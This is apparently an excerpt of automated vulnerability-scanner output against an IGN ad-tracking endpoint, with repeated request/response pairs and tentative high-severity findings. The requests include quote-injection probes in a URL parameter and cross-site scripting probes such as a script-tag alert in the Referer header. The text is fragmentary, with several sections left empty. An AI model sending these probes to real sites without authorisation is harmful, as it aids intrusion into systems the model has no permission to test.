s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; rsi_segs=10089; decc=US; NGUserID=a016c06-15003-1306593845-5; i18n-cc=US; freq=c-1297040561490v-1n-12mc+1297040561491mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; __utmb=173446715.3.10.1297040497

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:48 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=49282&FlightID=44822&TargetID=10619&EntityDefResetFlag=0&C=0&Segments=380,2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11688,11691,11715,11717,11754,14845,15232,16249,16251,17918,17919,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6766,10619&Values=25,31,43,60,72,80,91,101,110,150,152,235,282,471,531,757,912,1187,1405,1481,1508,1594,1824,2336,3091,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=dlkpdlI,bguRrfrbdmWas HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(document.cookie)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; rsi_segs=10089; decc=US; NGUserID=a016c06-15003-1306593845-5; i18n-cc=US; freq=c-1297040561490v-1n-12mc+1297040561491mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; __utmb=173446715.3.10.1297040497

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:48 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:48 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=49282&FlightID=44822&TargetID=10619&EntityDefResetFlag=0&C=0&Segments=380,2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11688,11691,11715,11717,11754,14845,15232,16249,16251,17918,17919,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6766,10619&Values=25,31,43,60,72,80,91,101,110,150,152,235,282,471,531,757,912,1187,1405,1481,1508,1594,2336,3091,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=zkitkg,bguRragewbmIi

Issue detail

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=49282&FlightID=44822&TargetID=10619&EntityDefResetFlag=0&C=0&Segments=380,2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11688,11691,11715,11717,11754,14845,15232,16249,16251,17918,17919,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6766,10619&Values=25,31,43,60,72,80,91,101,110,150,152,235,282,471,531,757,912,1187,1405,1481,1508,1594,2336,3091,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=zkitkg,bguRragewbmIi HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(1)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; rsi_segs=10089; decc=US; NGUserID=a016c09-19918-1173906965-3; i18n-cc=US; freq=c-1297040390930v-1n-12mc+1297040390930mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; __utmb=173446715.2.10.1297040497

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:35 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=49282&FlightID=44822&TargetID=10619&EntityDefResetFlag=0&C=0&Segments=380,2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11688,11691,11715,11717,11754,14845,15232,16249,16251,17918,17919,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6766,10619&Values=25,31,43,60,72,80,91,101,110,150,152,235,282,471,531,757,912,1187,1405,1481,1508,1594,2336,3091,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=zkitkg,bguRragewbmIi HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(1)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; rsi_segs=10089; decc=US; NGUserID=a016c09-19918-1173906965-3; i18n-cc=US; freq=c-1297040390930v-1n-12mc+1297040390930mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; __utmb=173446715.2.10.1297040497

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:35 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:35 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=49282&FlightID=44822&TargetID=10619&EntityDefResetFlag=0&C=0&Segments=407,2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11690,11716,11754,14845,15232,16249,16251,17917,22099,22854,23425,23427,23429,23472,23479,23480,23493&Targets=10619&Values=25,31,43,60,72,80,91,101,110,150,152,235,281,448,531,757,912,1187,1405,1481,1508,1594,1824,2250,2868,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=bkevoot,bguRrblewbsuy

Issue detail

Request 1

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:00 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:00 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:00 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=49282&FlightID=44822&TargetID=10619&EntityDefResetFlag=0&C=0&Segments=407,2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11690,11716,11754,14845,15232,16249,16251,17917,22099,22854,23425,23427,23429,23472,23479,23480,23493&Targets=10619&Values=25,31,43,60,72,80,91,101,110,150,152,235,281,448,531,757,912,1187,1405,1481,1508,1594,2250,2868,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=cwmukqW,bguRqRgbdmoWu

Issue detail

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=49282&FlightID=44822&TargetID=10619&EntityDefResetFlag=0&C=0&Segments=407,2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11690,11716,11754,14845,15232,16249,16251,17917,22099,22854,23425,23427,23429,23472,23479,23480,23493&Targets=10619&Values=25,31,43,60,72,80,91,101,110,150,152,235,281,448,531,757,912,1187,1405,1481,1508,1594,2250,2868,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=cwmukqW,bguRqRgbdmoWu HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://cheats.ign.com/?7cd43%22%3E%3Cscript%3Ealert(1)%3C/script%3Ebc6f5a7fbe9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=634326084499542327&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmb=173446715; __utmc=173446715; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; i18n-cc=US; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; optimizelyBuckets=%7B%7D

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:12 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=49282&FlightID=44822&TargetID=10619&EntityDefResetFlag=0&C=0&Segments=407,2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11690,11716,11754,14845,15232,16249,16251,17917,22099,22854,23425,23427,23429,23472,23479,23480,23493&Targets=10619&Values=25,31,43,60,72,80,91,101,110,150,152,235,281,448,531,757,912,1187,1405,1481,1508,1594,2250,2868,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=cwmukqW,bguRqRgbdmoWu HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://cheats.ign.com/?7cd43%22%3E%3Cscript%3Ealert(1)%3C/script%3Ebc6f5a7fbe9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=634326084499542327&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmb=173446715; __utmc=173446715; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; i18n-cc=US; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; optimizelyBuckets=%7B%7D

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:12 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:12 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=49282&FlightID=44822&TargetID=10619&EntityDefResetFlag=0&C=0&Segments=409,2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11691,11717,11754,14845,15232,16249,16251,17919,22099,22854,23425,23427,23429,23472,23479,23480,23493&Targets=10619&Values=25,31,43,60,72,80,91,101,110,150,152,235,282,448,531,757,912,1187,1405,1481,1508,1594,1824,2250,2868,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=bkfKruw,bguRrblewbsuA

Issue detail

Request 1

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:02 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:02 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:02 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=49282&FlightID=44822&TargetID=10619&EntityDefResetFlag=0&C=0&Segments=409,2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11691,11717,11754,14845,15232,16249,16251,17919,22099,22854,23425,23427,23429,23472,23479,23480,23493&Targets=10619&Values=25,31,43,60,72,80,91,101,110,150,152,235,282,448,531,757,912,1187,1405,1481,1508,1594,2250,2868,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=bvtAjns,bguRqRgbdmoWx

Issue detail

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=49282&FlightID=44822&TargetID=10619&EntityDefResetFlag=0&C=0&Segments=409,2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11691,11717,11754,14845,15232,16249,16251,17919,22099,22854,23425,23427,23429,23472,23479,23480,23493&Targets=10619&Values=25,31,43,60,72,80,91,101,110,150,152,235,282,448,531,757,912,1187,1405,1481,1508,1594,2250,2868,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=bvtAjns,bguRqRgbdmoWx HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://cheats.ign.com/?7cd43%22%3E%3Cscript%3Ealert(1)%3C/script%3Ebc6f5a7fbe9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=634326084499542327&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmb=173446715; __utmc=173446715; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; i18n-cc=US; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; optimizelyBuckets=%7B%7D

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:14 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=49282&FlightID=44822&TargetID=10619&EntityDefResetFlag=0&C=0&Segments=409,2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11691,11717,11754,14845,15232,16249,16251,17919,22099,22854,23425,23427,23429,23472,23479,23480,23493&Targets=10619&Values=25,31,43,60,72,80,91,101,110,150,152,235,282,448,531,757,912,1187,1405,1481,1508,1594,2250,2868,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=bvtAjns,bguRqRgbdmoWx HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://cheats.ign.com/?7cd43%22%3E%3Cscript%3Ealert(1)%3C/script%3Ebc6f5a7fbe9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=634326084499542327&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmb=173446715; __utmc=173446715; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; i18n-cc=US; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; optimizelyBuckets=%7B%7D

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:14 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:14 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=77682&FlightID=71656&TargetID=14594&EntityDefResetFlag=0&C=0&Segments=7,349,2747,3493,3976,3984,4172,4602,4603,4723,4917,4929,5718,5749,5906,6102,6382,6573,6652,6673,6990,7102,7396,7752,7888,9598,11754,11908,14845,15232,16249,16251,17904,22099,22154,22854,23425,23427,23429,23472,23479,23480,23493&Targets=28681,6820,6905,6669,14594&Values=25,31,43,60,72,80,91,101,110,150,152,235,248,448,531,757,912,1187,1405,1481,1508,1594,1824,2250,2868,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=bezcjaa,bguRrblewbsur

Issue detail

Request 1

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:43:53 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:43:53 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:43:53 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=77682&FlightID=71656&TargetID=14594&EntityDefResetFlag=0&C=0&Segments=7,349,2747,3493,3976,3984,4172,4602,4603,4723,4917,4929,5718,5749,5906,6102,6382,6573,6652,6673,6990,7102,7396,7752,7888,9598,11754,11908,14845,15232,16249,16251,17904,22099,22154,22854,23425,23427,23429,23472,23479,23480,23493&Targets=28681,6820,6905,6669,14594&Values=25,31,43,60,72,80,91,101,110,150,152,235,248,448,531,757,912,1187,1405,1481,1508,1594,2250,2868,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=crblguo,bguRqRgbdmoWm

Issue detail

Request 1

